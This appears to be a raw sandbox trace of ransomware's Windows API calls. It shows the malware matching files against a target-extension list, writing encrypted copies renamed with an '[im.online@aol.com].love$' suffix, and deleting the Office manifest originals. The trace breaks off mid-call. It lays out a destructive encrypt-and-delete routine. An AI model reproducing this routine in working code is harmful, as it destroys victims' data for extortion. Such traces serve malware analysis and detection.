lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.539] lstrlenW (lpString=".jpg") returned 4 [0109.539] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.539] lstrlenW (lpString=".doc") returned 4 [0109.539] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0109.539] lstrlenW (lpString=".docx") returned 5 [0109.539] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0109.539] lstrlenW (lpString=".pdf") returned 4 [0109.539] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0109.539] lstrlenW (lpString=".xls") returned 4 [0109.539] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0109.540] lstrlenW (lpString=".xlsx") returned 5 [0109.540] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0109.540] lstrlenW (lpString=".ppt") returned 4 [0109.540] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0109.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.540] lstrlenW (lpString=".zip") returned 4 [0109.540] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0109.540] lstrlenW (lpString=".rar") returned 4 [0109.540] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0109.540] lstrlenW (lpString=".bz2") returned 4 [0109.540] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0109.540] lstrlenW (lpString=".7z") returned 3 [0109.540] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0109.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.540] lstrlenW (lpString=".dbf") returned 4 [0109.540] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0109.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.540] lstrlenW (lpString=".1cd") returned 4 [0109.540] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0109.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0109.540] lstrlenW (lpString=".jpg") returned 4 [0109.540] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0109.540] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0109.541] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0109.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0109.542] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=496513) returned 1 [0109.542] CloseHandle (hObject=0x2b8) returned 1 [0109.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0109.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0109.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0109.542] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.542] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0109.543] GetLastError () returned 0x0 [0109.543] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x79381, lpOverlapped=0x0) returned 1 [0109.935] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x79390, lpOverlapped=0x0) returned 1 [0109.948] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.949] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0109.950] SetEndOfFile (hFile=0x34c) returned 1 [0109.950] CloseHandle (hObject=0x34c) returned 1 [0110.385] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.385] SetEndOfFile (hFile=0x2b8) returned 1 [0110.391] CloseHandle (hObject=0x2b8) returned 1 [0110.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0110.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0110.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.393] lstrlenW (lpString=".doc") returned 4 [0110.393] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.393] lstrlenW (lpString=".docx") returned 5 [0110.393] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.393] lstrlenW (lpString=".pdf") returned 4 [0110.393] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.393] lstrlenW (lpString=".xls") returned 4 [0110.393] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.393] lstrlenW (lpString=".xlsx") returned 5 [0110.393] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.394] lstrlenW (lpString=".ppt") returned 4 [0110.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.394] lstrlenW (lpString=".zip") returned 4 [0110.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.394] lstrlenW (lpString=".rar") returned 4 [0110.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.394] lstrlenW (lpString=".bz2") returned 4 [0110.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.394] lstrlenW (lpString=".7z") returned 3 [0110.394] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.394] lstrlenW (lpString=".dbf") returned 4 [0110.394] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.394] lstrlenW (lpString=".1cd") returned 4 [0110.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.395] lstrlenW (lpString=".jpg") returned 4 [0110.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.395] lstrlenW (lpString=".doc") returned 4 [0110.395] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.395] lstrlenW (lpString=".docx") returned 5 [0110.395] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.395] lstrlenW (lpString=".pdf") returned 4 [0110.395] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.395] lstrlenW (lpString=".xls") returned 4 [0110.395] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.395] lstrlenW (lpString=".xlsx") returned 5 [0110.395] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.395] lstrlenW (lpString=".ppt") returned 4 [0110.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.396] lstrlenW (lpString=".zip") returned 4 [0110.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.396] lstrlenW (lpString=".rar") returned 4 [0110.396] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.396] lstrlenW (lpString=".bz2") returned 4 [0110.396] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.396] lstrlenW (lpString=".7z") returned 3 [0110.396] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.396] lstrlenW (lpString=".dbf") returned 4 [0110.396] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.396] lstrlenW (lpString=".1cd") returned 4 [0110.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0110.396] lstrlenW (lpString=".jpg") returned 4 [0110.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.397] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0110.397] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0110.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0110.398] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1261) returned 1 [0110.399] CloseHandle (hObject=0x2b8) returned 1 [0110.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0110.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0110.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0110.399] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.399] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0110.400] GetLastError () returned 0x0 [0110.400] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0110.403] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0110.404] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.404] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0110.405] SetEndOfFile (hFile=0x34c) returned 1 [0110.405] CloseHandle (hObject=0x34c) returned 1 [0110.412] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.412] SetEndOfFile (hFile=0x2b8) returned 1 [0110.414] CloseHandle (hObject=0x2b8) returned 1 [0110.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0110.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0110.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.416] lstrlenW (lpString=".doc") returned 4 [0110.416] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.416] lstrlenW (lpString=".docx") returned 5 [0110.416] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.416] lstrlenW (lpString=".pdf") returned 4 [0110.416] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.416] lstrlenW (lpString=".xls") returned 4 [0110.416] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.416] lstrlenW (lpString=".xlsx") returned 5 [0110.416] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.416] lstrlenW (lpString=".ppt") returned 4 [0110.416] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.417] lstrlenW (lpString=".zip") returned 4 [0110.417] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.417] lstrlenW (lpString=".rar") returned 4 [0110.417] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.417] lstrlenW (lpString=".bz2") returned 4 [0110.417] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.417] lstrlenW (lpString=".7z") returned 3 [0110.417] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.417] lstrlenW (lpString=".dbf") returned 4 [0110.417] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.417] lstrlenW (lpString=".1cd") returned 4 [0110.417] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.417] lstrlenW (lpString=".jpg") returned 4 [0110.417] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.418] lstrlenW (lpString=".doc") returned 4 [0110.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.418] lstrlenW (lpString=".docx") returned 5 [0110.418] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.418] lstrlenW (lpString=".pdf") returned 4 [0110.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.418] lstrlenW (lpString=".xls") returned 4 [0110.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.418] lstrlenW (lpString=".xlsx") returned 5 [0110.418] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.418] lstrlenW (lpString=".ppt") returned 4 [0110.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.418] lstrlenW (lpString=".zip") returned 4 [0110.418] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.418] lstrlenW (lpString=".rar") returned 4 [0110.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.419] lstrlenW (lpString=".bz2") returned 4 [0110.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.419] lstrlenW (lpString=".7z") returned 3 [0110.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.419] lstrlenW (lpString=".dbf") returned 4 [0110.419] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.419] lstrlenW (lpString=".1cd") returned 4 [0110.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0110.419] lstrlenW (lpString=".jpg") returned 4 [0110.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.419] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0110.420] lstrlenW (lpString="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 53 [0110.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0110.420] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1124942) returned 1 [0110.420] CloseHandle (hObject=0x2b8) returned 1 [0110.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0110.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0110.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0110.421] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.421] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0110.422] GetLastError () returned 0x0 [0110.423] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0111.047] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0111.975] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x12a5e, lpOverlapped=0x0) returned 1 [0111.992] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x12a60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x12a60, lpOverlapped=0x0) returned 1 [0112.001] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.001] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.001] SetEndOfFile (hFile=0x34c) returned 1 [0112.001] CloseHandle (hObject=0x34c) returned 1 [0112.619] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.620] SetEndOfFile (hFile=0x2b8) returned 1 [0112.622] CloseHandle (hObject=0x2b8) returned 1 [0112.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0112.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0112.775] lstrlenW 